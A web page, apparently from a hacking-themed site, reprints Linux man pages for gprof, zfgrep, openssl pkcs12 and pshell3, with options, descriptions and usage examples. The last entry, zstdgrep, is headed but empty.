http://sourceforge.net/projects/mpg123

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1899 - Linux cli command x86_64-w64-mingw32-gprof

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command x86_64-w64-mingw32-gprof and provides detailed information about the command x86_64-w64-mingw32-gprof, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the x86_64-w64-mingw32-gprof.

NAME 🖥️ x86_64-w64-mingw32-gprof 🖥️

display call graph profile data

SYNOPSIS

gprof [ -[abcDhilLrsTvwxyz] ] [ -[ABCeEfFJnNOpPqQRStZ][name] ] [ -I dirs ] [ -d[num] ] [ -k from/to ] [ -m min-count ] [ -R map_file ] [ -t table-length ] [ –[no-]annotated-source[=name] ] [ –[no-]exec-counts[=name] ] [ –[no-]flat-profile[=name] ] [ –[no-]graph[=name] ] [ –[no-]time=name] [ –all-lines ] [ –brief ] [ –debug[=level] ] [ –function-ordering ] [ –file-ordering map_file ] [ –directory-path=dirs ] [ –display-unused-functions ] [ –file-format=name ] [ –file-info ] [ –help ] [ –line ] [ –inline-file-names ] [ –min-count=n ] [ –no-static ] [ –print-path ] [ –separate-files ] [ –static-call-graph ] [ –sum ] [ –table-length=len ] [ –traditional ] [ –version ] [ –width=n ] [ –ignore-non-functions ] [ –demangle[=STYLE] ] [ –no-demangle ] [–external-symbol-table=name] [ image-file ] [ profile-file … ]

DESCRIPTION

gprof produces an execution profile of C, Pascal, or Fortran77 programs. The effect of called routines is incorporated in the profile of each caller. The profile data is taken from the call graph profile file (gmon.out default) which is created by programs that are compiled with the -pg option of cc, pc, and f77. The -pg option also links in versions of the library routines that are compiled for profiling. Gprof reads the given object file (the default is a.out) and establishes the relation between its symbol table and the call graph profile from gmon.out. If more than one profile file is specified, the gprof output shows the sum of the profile information in the given profile files.

If you use gcc 2.95.x or 3.0 to compile your binaries, you may need to add the -fprofile-arcs to the compile command line in order for the call graphs to be properly stored in gmon.out.

Gprof calculates the amount of time spent in each routine. Next, these times are propagated along the edges of the call graph. Cycles are discovered, and calls into a cycle are made to share the time of the cycle.

Several forms of output are available from the analysis.

The flat profile shows how much time your program spent in each function, and how many times that function was called. If you simply want to know which functions burn most of the cycles, it is stated concisely here.

The call graph shows, for each function, which functions called it, which other functions it called, and how many times. There is also an estimate of how much time was spent in the subroutines of each function. This can suggest places where you might try to eliminate function calls that use a lot of time.

The annotated source listing is a copy of the program’s source code, labeled with the number of times each line of the program was executed.

OPTIONS

These options specify which of several output formats gprof should produce.

Many of these options take an optional symspec to specify functions to be included or excluded. These options can be specified multiple times, with different symspecs, to include or exclude sets of symbols.

Specifying any of these options overrides the default (-p -q), which prints a flat profile and call graph analysis for all functions.

“-A[symspec]”

“–annotated-source[=symspec]”

The -A option causes gprof to print annotated source code. If symspec is specified, print output only for matching symbols.

“-b”

“–brief”

If the -b option is given, gprof doesn’t print the verbose blurbs that try to explain the meaning of all of the fields in the tables. This is useful if you intend to print out the output, or are tired of seeing the blurbs.

“-B”
The -B option causes gprof to print the call graph analysis.

“-C[symspec]”

“–exec-counts[=symspec]”

The -C option causes gprof to print a tally of functions and the number of times each was called. If symspec is specified, print tally only for matching symbols. If the profile data file contains basic-block count records, specifying the -l option, along with -C, will cause basic-block execution counts to be tallied and displayed.

“-i”

“–file-info”

The -i option causes gprof to display summary information about the profile data file(s) and then exit. The number of histogram, call graph, and basic-block count records is displayed.

“-I dirs”

“–directory-path=dirs”

The -I option specifies a list of search directories in which to find source files. Environment variable GPROF_PATH can also be used to convey this information. Used mostly for annotated source output.

“-J[symspec]”

“–no-annotated-source[=symspec]”

The -J option causes gprof not to print annotated source code. If symspec is specified, gprof prints annotated source, but excludes matching symbols.

“-L”

“–print-path”

Normally, source filenames are printed with the path component suppressed. The -L option causes gprof to print the full pathname of source filenames, which is determined from symbolic debugging information in the image file and is relative to the directory in which the compiler was invoked.

“-p[symspec]”

“–flat-profile[=symspec]”

The -p option causes gprof to print a flat profile. If symspec is specified, print flat profile only for matching symbols.

“-P[symspec]”

“–no-flat-profile[=symspec]”

The -P option causes gprof to suppress printing a flat profile. If symspec is specified, gprof prints a flat profile, but excludes matching symbols.

“-q[symspec]”

“–graph[=symspec]”

The -q option causes gprof to print the call graph analysis. If symspec is specified, print call graph only for matching symbols and their children.

“-Q[symspec]”

“–no-graph[=symspec]”

The -Q option causes gprof to suppress printing the call graph. If symspec is specified, gprof prints a call graph, but excludes matching symbols.

“-t”

“–table-length=num”

The -t option causes the num most active source lines in each source file to be listed when source annotation is enabled. The default is 10.

“-y”

“–separate-files”

This option affects annotated source output only. Normally, gprof prints annotated source files to standard-output. If this option is specified, annotated source for a file named path/filename is generated in the file filename-ann. If the underlying file system would truncate filename-ann so that it overwrites the original filename, gprof generates annotated source in the file filename.ann instead (if the original file name has an extension, that extension is replaced with .ann).

“-Z[symspec]”

“–no-exec-counts[=symspec]”

The -Z option causes gprof not to print a tally of functions and the number of times each was called. If symspec is specified, print tally, but exclude matching symbols.

“-r”

“–function-ordering”

The –function-ordering option causes gprof to print a suggested function ordering for the program based on profiling data. This option suggests an ordering which may improve paging, tlb and cache behavior for the program on systems which support arbitrary ordering of functions in an executable. The exact details of how to force the linker to place functions in a particular order is system dependent and out of the scope of this manual.

“-R map_file”

“–file-ordering map_file”

The –file-ordering option causes gprof to print a suggested .o link line ordering for the program based on profiling data. This option suggests an ordering which may improve paging, tlb and cache behavior for the program on systems which do not support arbitrary ordering of functions in an executable. Use of the -a argument is highly recommended with this option. The map_file argument is a pathname to a file which provides function name to object file mappings. The format of the file is similar to the output of the program nm. c-parse.o:00000000 T yyparse c-parse.o:00000004 C yyerrflag c-lang.o:00000000 T maybe_objc_method_name c-lang.o:00000000 T print_lang_statistics c-lang.o:00000000 T recognize_objc_keyword c-decl.o:00000000 T print_lang_identifier c-decl.o:00000000 T print_lang_type … To create a map_file with GNU nm, type a command like nm --extern-only --defined-only -v --print-file-name program-name.

“-T”

“–traditional”

The -T option causes gprof to print its output in “traditional” BSD style.

“-w width”

“–width=width”

Sets width of output lines to width. Currently only used when printing the function index at the bottom of the call graph.

“-x”

“–all-lines”

This option affects annotated source output only. By default, only the lines at the beginning of a basic-block are annotated. If this option is specified, every line in a basic-block is annotated by repeating the annotation for the first line. This behavior is similar to tcov’s -a.

“–demangle[=style]”

“–no-demangle”

These options control whether C++ symbol names should be demangled when printing output. The default is to demangle symbols. The --no-demangle option may be used to turn off demangling. Different compilers have different mangling styles. The optional demangling style argument can be used to choose an appropriate demangling style for your compiler.

Analysis Options

“-a”

“–no-static”

The -a option causes gprof to suppress the printing of statically declared (private) functions. (These are functions whose names are not listed as global, and which are not visible outside the file/function/block where they were defined.) Time spent in these functions, calls to/from them, etc., will all be attributed to the function that was loaded directly before it in the executable file. This option affects both the flat profile and the call graph.

“-c”

“–static-call-graph”

The -c option causes the call graph of the program to be augmented by a heuristic which examines the text space of the object file and identifies function calls in the binary machine code. Since normal call graph records are only generated when functions are entered, this option identifies children that could have been called, but never were. Calls to functions that were not compiled with profiling enabled are also identified, but only if symbol table entries are present for them. Calls to dynamic library routines are typically not found by this option. Parents or children identified via this heuristic are indicated in the call graph with call counts of 0.

“-D”

“–ignore-non-functions”

The -D option causes gprof to ignore symbols which are not known to be functions. This option will give more accurate profile data on systems where it is supported (Solaris and HPUX for example).

“-k from/to”
The -k option allows you to delete from the call graph any arcs from symbols matching symspec from to those matching symspec to.

“-l”

“–line”

The -l option enables line-by-line profiling, which causes histogram hits to be charged to individual source code lines, instead of functions. This feature only works with programs compiled by older versions of the gcc compiler. Newer versions of gcc are designed to work with the gcov tool instead. If the program was compiled with basic-block counting enabled, this option will also identify how many times each line of code was executed. While line-by-line profiling can help isolate where in a large function a program is spending its time, it also significantly increases the running time of gprof, and magnifies statistical inaccuracies.

“–inline-file-names”
This option causes gprof to print the source file after each symbol in both the flat profile and the call graph. The full path to the file is printed if used with the -L option.

“-m num”

“–min-count=num”

This option affects execution count output only. Symbols that are executed less than num times are suppressed.

“-nsymspec”

“–time=symspec”

The -n option causes gprof, in its call graph analysis, to only propagate times for symbols matching symspec.

“-Nsymspec”

“–no-time=symspec”

The -n option causes gprof, in its call graph analysis, not to propagate times for symbols matching symspec.

“-Sfilename”

“–external-symbol-table=filename”

The -S option causes gprof to read an external symbol table file, such as /proc/kallsyms, rather than read the symbol table from the given object file (the default is a.out). This is useful for profiling kernel modules.

“-z”

“–display-unused-functions”

If you give the -z option, gprof will mention all functions in the flat profile, even those that were never called, and that had no time spent in them. This is useful in conjunction with the -c option for discovering which routines were never called.

Miscellaneous Options

“-d[num]”

“–debug[=num]”

The -d num option specifies debugging options. If num is not specified, enable all debugging.

“-h”

“–help”

The -h option prints command line usage.

“-Oname”

“–file-format=name”

Selects the format of the profile data files. Recognized formats are auto (the default), bsd, 4.4bsd, magic, and prof (not yet supported).

“-s”

“–sum”

The -s option causes gprof to summarize the information in the profile data files it read in, and write out a profile data file called gmon.sum, which contains all the information from the profile data files that gprof read in. The file gmon.sum may be one of the specified input files; the effect of this is to merge the data in the other input files into gmon.sum. Eventually you can run gprof again without -s to analyze the cumulative data in the file gmon.sum.

“-v”

“–version”

The -v flag causes gprof to print the current version number, and then exit.

Deprecated Options

These options have been replaced with newer versions that use symspecs.

“-e function_name”
The -e function option tells gprof to not print information about the function function_name (and its children…) in the call graph. The function will still be listed as a child of any functions that call it, but its index number will be shown as [not printed]. More than one -e option may be given; only one function_name may be indicated with each -e option.

“-E function_name”
The -E function option works like the -e option, but time spent in the function (and children who were not called from anywhere else), will not be used to compute the percentages-of-time for the call graph. More than one -E option may be given; only one function_name may be indicated with each -E option.

“-f function_name”
The -f function option causes gprof to limit the call graph to the function function_name and its children (and their children…). More than one -f option may be given; only one function_name may be indicated with each -f option.

“-F function_name”
The -F function option works like the -f option, but only time spent in the function and its children (and their children…) will be used to determine total-time and percentages-of-time for the call graph. More than one -F option may be given; only one function_name may be indicated with each -F option. The -F option overrides the -E option.

FILES

“a.out”
the namelist and text space.

“gmon.out”
dynamic call graph and profile.

“gmon.sum”
summarized dynamic call graph and profile.

BUGS

The granularity of the sampling is shown, but remains statistical at best. We assume that the time for each execution of a function can be expressed by the total time for the function divided by the number of times the function is called. Thus the time propagated along the call graph arcs to the function’s parents is directly proportional to the number of times that arc is traversed.

Parents that are not themselves profiled will have the time of their profiled children propagated to them, but they will appear to be spontaneously invoked in the call graph listing, and will not have their time propagated further. Similarly, signal catchers, even though profiled, will appear to be spontaneous (although for more obscure reasons). Any profiled children of signal catchers should have their times propagated properly, unless the signal catcher was invoked during the execution of the profiling routine, in which case all is lost.

The profiled program must call exit(2) or return normally for the profiling information to be saved in the gmon.out file.

SEE ALSO

cc (1), prof (1), and the Info entry for gprof.

“An Execution Profiler for Modular Programs”, by S. Graham, P. Kessler, M. McKusick; Software - Practice and Experience, Vol. 13, pp. 671-685, 1983.

“gprof: A Call Graph Execution Profiler”, by S. Graham, P. Kessler, M. McKusick; Proceedings of the SIGPLAN ‘82 Symposium on Compiler Construction, SIGPLAN Notices, Vol. 17, No 6, pp. 120-126, June 1982.

COPYRIGHT

Copyright (c) 1988-2024 Free Software Foundation, Inc.

Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.3 or any later version published by the Free Software Foundation; with no Invariant Sections, with no Front-Cover Texts, and with no Back-Cover Texts. A copy of the license is included in the section entitled “GNU Free Documentation License”.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1900 - Linux cli command zfgrep

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command zfgrep and provides detailed information about the command zfgrep, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the zfgrep.

NAME 🖥️ zfgrep 🖥️

search possibly compressed files for a regular expression

SYNOPSIS

zgrep [ grep_options ] [ -e ]* pattern* filename. . .

DESCRIPTION

The zgrep command invokes grep on compressed or gzipped files. All options specified are passed directly to grep. If no file is specified, then the standard input is decompressed if necessary and fed to grep. Otherwise the given files are uncompressed if necessary and fed to grep.

If the GREP environment variable is set, zgrep uses it as the grep program to be invoked.

EXIT STATUS

Exit status is 0 for a match, 1 for no matches, and 2 if trouble.

BUGS

The following grep options are not supported: –dereference-recursive (-R), –directories (-d), –exclude, –exclude-from, –exclude-dir, –include, –null (-Z), –null-data (-z), and –recursive (-r).

AUTHOR

Charles Levert ([email protected])

SEE ALSO

grep(1), gzexe(1), gzip(1), zdiff(1), zforce(1), zmore(1), znew(1)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1901 - Linux cli command openssl-pkcs12ssl

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command openssl-pkcs12ssl and provides detailed information about the command openssl-pkcs12ssl, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the openssl-pkcs12ssl.

NAME 🖥️ openssl-pkcs12ssl 🖥️

pkcs12 - PKCS#12 file command

SYNOPSIS

openssl pkcs12 [-help] [-passin arg] [-passout arg] [-password arg] [-twopass] [-in filename|uri] [-out filename] [-nokeys] [-nocerts] [-noout] [-legacy] [-engine id] [-provider name] [-provider-path path] [-propquery propq] [-rand files] [-writerand file]

PKCS#12 input (parsing) options: [-info] [-nomacver] [-clcerts] [-cacerts]

[-aes128] [-aes192] [-aes256] [-aria128] [-aria192] [-aria256] [-camellia128] [-camellia192] [-camellia256] [-des] [-des3] [-idea] [-noenc] [-nodes]

PKCS#12 output (export) options:

[-export] [-inkey filename|uri] [-certfile filename] [-passcerts arg] [-chain] [-untrusted filename] [-CAfile file] [-no-CAfile] [-CApath dir] [-no-CApath] [-CAstore uri] [-no-CAstore] [-name name] [-caname name] [-CSP name] [-LMK] [-keyex] [-keysig] [-keypbe cipher] [-certpbe cipher] [-descert] [-macalg digest] [-iter count] [-noiter] [-nomaciter] [-maciter] [-macsaltlen] [-nomac] [-jdktrust usage]

DESCRIPTION

This command allows PKCS#12 files (sometimes referred to as PFX files) to be created and parsed. PKCS#12 files are used by several programs including Netscape, MSIE and MS Outlook.

OPTIONS

There are a lot of options the meaning of some depends of whether a PKCS#12 file is being created or parsed. By default a PKCS#12 file is parsed. A PKCS#12 file can be created by using the -export option (see below). The PKCS#12 export encryption and MAC options such as -certpbe and -iter and many further options such as -chain are relevant only with -export. Conversely, the options regarding encryption of private keys when outputting PKCS#12 input are relevant only when the -export option is not given.

The default encryption algorithm is AES-256-CBC with PBKDF2 for key derivation.

When encountering problems loading legacy PKCS#12 files that involve, for example, RC2-40-CBC, try using the -legacy option and, if needed, the -provider-path option.

-help
Print out a usage message.

-passin arg
The password source for the input, and for encrypting any private keys that are output. For more information about the format of arg see openssl-passphrase-options (1).

-passout arg
The password source for output files.

-password arg
With -export, -password is equivalent to -passout, otherwise it is equivalent to -passin.

-twopass
Prompt for separate integrity and encryption passwords: most software always assumes these are the same so this option will render such PKCS#12 files unreadable. Cannot be used in combination with the options -password, -passin if importing from PKCS#12, or -passout if exporting.

-nokeys
No private keys will be output.

-nocerts
No certificates will be output.

-noout
This option inhibits all credentials output, and so the input is just verified.

-legacy
Use legacy mode of operation and automatically load the legacy provider. If OpenSSL is not installed system-wide, it is necessary to also use, for example, -provider-path ./providers or to set the environment variable OPENSSL_MODULES to point to the directory where the providers can be found. In the legacy mode, the default algorithm for certificate encryption is RC2_CBC or 3DES_CBC depending on whether the RC2 cipher is enabled in the build. The default algorithm for private key encryption is 3DES_CBC. If the legacy option is not specified, then the legacy provider is not loaded and the default encryption algorithm for both certificates and private keys is AES_256_CBC with PBKDF2 for key derivation.

-engine id
See “Engine Options” in openssl (1). This option is deprecated.

-provider name

-provider-path path

-propquery propq

See “Provider Options” in openssl (1), provider (7), and property (7).

-rand files, -writerand file
See “Random State Options” in openssl (1) for details.

PKCS#12 input (parsing) options

-in filename|uri
This specifies the input filename or URI. Standard input is used by default. Without the -export option this must be PKCS#12 file to be parsed. For use with the -export option see the “PKCS#12 output (export) options” section.

-out filename
The filename to write certificates and private keys to, standard output by default. They are all written in PEM format.

-info
Output additional information about the PKCS#12 file structure, algorithms used and iteration counts.

-nomacver
Don’t attempt to verify the integrity MAC.

-clcerts
Only output client certificates (not CA certificates).

-cacerts
Only output CA certificates (not client certificates).

-aes128, -aes192, -aes256
Use AES to encrypt private keys before outputting.

-aria128, -aria192, -aria256
Use ARIA to encrypt private keys before outputting.

-camellia128, -camellia192, -camellia256
Use Camellia to encrypt private keys before outputting.

-des
Use DES to encrypt private keys before outputting.

-des3
Use triple DES to encrypt private keys before outputting.

-idea
Use IDEA to encrypt private keys before outputting.

-noenc
Don’t encrypt private keys at all.

-nodes
This option is deprecated since OpenSSL 3.0; use -noenc instead.

PKCS#12 output (export) options

-export
This option specifies that a PKCS#12 file will be created rather than parsed.

-out filename
This specifies filename to write the PKCS#12 file to. Standard output is used by default.

-in filename|uri
This specifies the input filename or URI. Standard input is used by default. With the -export option this is a file with certificates and a key, or a URI that refers to a key accessed via an engine. The order of credentials in a file doesn’t matter but one private key and its corresponding certificate should be present. If additional certificates are present they will also be included in the PKCS#12 output file.

-inkey filename|uri
The private key input for PKCS12 output. If this option is not specified then the input file (-in argument) must contain a private key. If no engine is used, the argument is taken as a file. If the -engine option is used or the URI has prefix org.openssl.engine: then the rest of the URI is taken as key identifier for the given engine.

-certfile filename
An input file with extra certificates to be added to the PKCS#12 output if the -export option is given.

-passcerts arg
The password source for certificate input such as -certfile and -untrusted. For more information about the format of arg see openssl-passphrase-options (1).

-chain
If this option is present then the certificate chain of the end entity certificate is built and included in the PKCS#12 output file. The end entity certificate is the first one read from the -in file if no key is given, else the first certificate matching the given key. The standard CA trust store is used for chain building, as well as any untrusted CA certificates given with the -untrusted option.

-untrusted filename
An input file of untrusted certificates that may be used for chain building, which is relevant only when a PKCS#12 file is created with the -export option and the -chain option is given as well. Any certificates that are actually part of the chain are added to the output.

-CAfile file, -no-CAfile, -CApath dir, -no-CApath, -CAstore uri, -no-CAstore
See “Trusted Certificate Options” in openssl-verification-options (1) for details.

-name friendlyname
This specifies the “friendly name” for the certificates and private key. This name is typically displayed in list boxes by software importing the file.

-caname friendlyname
This specifies the “friendly name” for other certificates. This option may be used multiple times to specify names for all certificates in the order they appear. Netscape ignores friendly names on other certificates whereas MSIE displays them.

-CSP name
Write name as a Microsoft CSP name. The password source for the input, and for encrypting any private keys that are output. For more information about the format of arg see openssl-passphrase-options (1).

-LMK
Add the “Local Key Set” identifier to the attributes.

-keyex|-keysig
Specifies that the private key is to be used for key exchange or just signing. This option is only interpreted by MSIE and similar MS software. Normally “export grade” software will only allow 512 bit RSA keys to be used for encryption purposes but arbitrary length keys for signing. The -keysig option marks the key for signing only. Signing only keys can be used for S/MIME signing, authenticode (ActiveX control signing) and SSL client authentication, however, due to a bug only MSIE 5.0 and later support the use of signing only keys for SSL client authentication.

-keypbe alg, -certpbe alg
These options allow the algorithm used to encrypt the private key and certificates to be selected. Any PKCS#5 v1.5 or PKCS#12 PBE algorithm name can be used (see “NOTES” section for more information). If a cipher name (as output by openssl list -cipher-algorithms) is specified then it is used with PKCS#5 v2.0. For interoperability reasons it is advisable to only use PKCS#12 algorithms. Special value NONE disables encryption of the private key and certificates.

-descert
Encrypt the certificates using triple DES. By default the private key and the certificates are encrypted using AES-256-CBC unless the ‘-legacy’ option is used. If ‘-descert’ is used with the ‘-legacy’ then both, the private key and the certificates are encrypted using triple DES.

-macalg digest
Specify the MAC digest algorithm. If not included SHA256 will be used.

-iter count
This option specifies the iteration count for the encryption key and MAC. The default value is 2048. To discourage attacks by using large dictionaries of common passwords the algorithm that derives keys from passwords can have an iteration count applied to it: this causes a certain part of the algorithm to be repeated and slows it down. The MAC is used to check the file integrity but since it will normally have the same password as the keys and certificates it could also be attacked.

-noiter, -nomaciter
By default both encryption and MAC iteration counts are set to 2048, using these options the MAC and encryption iteration counts can be set to 1, since this reduces the file security you should not use these options unless you really have to. Most software supports both MAC and encryption iteration counts. MSIE 4.0 doesn’t support MAC iteration counts so it needs the -nomaciter option.

-maciter
This option is included for compatibility with previous versions, it used to be needed to use MAC iterations counts but they are now used by default.

-macsaltlen
This option specifies the salt length in bytes for the MAC. The salt length should be at least 16 bytes as per NIST SP 800-132. The default value is 8 bytes for backwards compatibility.

-nomac
Do not attempt to provide the MAC integrity. This can be useful with the FIPS provider as the PKCS12 MAC requires PKCS12KDF which is not an approved FIPS algorithm and cannot be supported by the FIPS provider.

-jdktrust
Export pkcs12 file in a format compatible with Java keystore usage. This option accepts a string parameter indicating the trust oid name to be granted to the certificate it is associated with. Currently only “anyExtendedKeyUsage” is defined. Note that, as Java keystores do not accept PKCS12 files with both trusted certificates and keypairs, use of this option implies the setting of the -nokeys option

NOTES

Although there are a large number of options most of them are very rarely used. For PKCS#12 file parsing only -in and -out need to be used for PKCS#12 file creation -export and -name are also used.

If none of the -clcerts, -cacerts or -nocerts options are present then all certificates will be output in the order they appear in the input PKCS#12 files. There is no guarantee that the first certificate present is the one corresponding to the private key. Certain software which tries to get a private key and the corresponding certificate might assume that the first certificate in the file is the one corresponding to the private key, but that may not always be the case. Using the -clcerts option will solve this problem by only outputting the certificate corresponding to the private key. If the CA certificates are required then they can be output to a separate file using the -nokeys -cacerts options to just output CA certificates.

The -keypbe and -certpbe algorithms allow the precise encryption algorithms for private keys and certificates to be specified. Normally the defaults are fine but occasionally software can’t handle triple DES encrypted private keys, then the option -keypbe PBE-SHA1-RC2-40 can be used to reduce the private key encryption to 40 bit RC2. A complete description of all algorithms is contained in openssl-pkcs8 (1).

Prior 1.1 release passwords containing non-ASCII characters were encoded in non-compliant manner, which limited interoperability, in first hand with Windows. But switching to standard-compliant password encoding poses problem accessing old data protected with broken encoding. For this reason even legacy encodings is attempted when reading the data. If you use PKCS#12 files in production application you are advised to convert the data, because implemented heuristic approach is not MT-safe, its sole goal is to facilitate the data upgrade with this command.

EXAMPLES

Parse a PKCS#12 file and output it to a PEM file:

openssl pkcs12 -in file.p12 -out file.pem

Output only client certificates to a file:

openssl pkcs12 -in file.p12 -clcerts -out file.pem

Don’t encrypt the private key:

openssl pkcs12 -in file.p12 -out file.pem -noenc

Print some info about a PKCS#12 file:

openssl pkcs12 -in file.p12 -info -noout

Print some info about a PKCS#12 file in legacy mode:

openssl pkcs12 -in file.p12 -info -noout -legacy

Create a PKCS#12 file from a PEM file that may contain a key and certificates:

openssl pkcs12 -export -in file.pem -out file.p12 -name “My PSE”

Include some extra certificates:

openssl pkcs12 -export -in file.pem -out file.p12 -name “My PSE” \ -certfile othercerts.pem

Export a PKCS#12 file with data from a certificate PEM file and from a further PEM file containing a key, with default algorithms as in the legacy provider:

openssl pkcs12 -export -in cert.pem -inkey key.pem -out file.p12 -legacy

SEE ALSO

openssl (1), openssl-pkcs8 (1), ossl_store-file (7)

HISTORY

The -engine option was deprecated in OpenSSL 3.0. The -nodes option was deprecated in OpenSSL 3.0, too; use -noenc instead.

COPYRIGHT

Copyright 2000-2023 The OpenSSL Project Authors. All Rights Reserved.

Licensed under the Apache License 2.0 (the “License”). You may not use this file except in compliance with the License. You can obtain a copy in the file LICENSE in the source distribution or at <https://www.openssl.org/source/license.html>.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1902 - Linux cli command pshell3

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pshell3 and provides detailed information about the command pshell3, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pshell3.

NAME 🖥️ pshell3 🖥️

Python 3 Pyramid command

DESCRIPTION

usage: pshell3 [-h] [-p PYTHON_SHELL] [-l] [–setup SETUP]

[config_uri] [config_vars …]

Open an interactive shell with a Pyramid app loaded. This command accepts one positional argument named “config_uri” which specifies the PasteDeploy config file to use for the interactive shell. The format is “inifile#name”. If the name is left off, the Pyramid default application will be assumed. Example: “pshell myapp.ini#main”.

If you do not point the loader directly at the section of the ini file containing your Pyramid application, the command will attempt to find the app for you. If you are loading a pipeline that contains more than one Pyramid application within it, the loader will use the last one.

positional arguments:

config_uri
The URI to the configuration file.

config_vars
Variables required by the config file. For example, `http_port=%(http_port)s` would expect `http_port=8080` to be passed here.

options:

-h, –help
show this help message and exit

-p PYTHON_SHELL, –python-shell PYTHON_SHELL
Select the shell to use. A list of possible shells is available using the –list-shells option.

-l, –list-shells
List all available shells.

–setup SETUP
A callable that will be passed the environment before it is made available to the shell. This option will override the ‘setup’ key in the [pshell] ini section.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1903 - Linux cli command zstdgrep

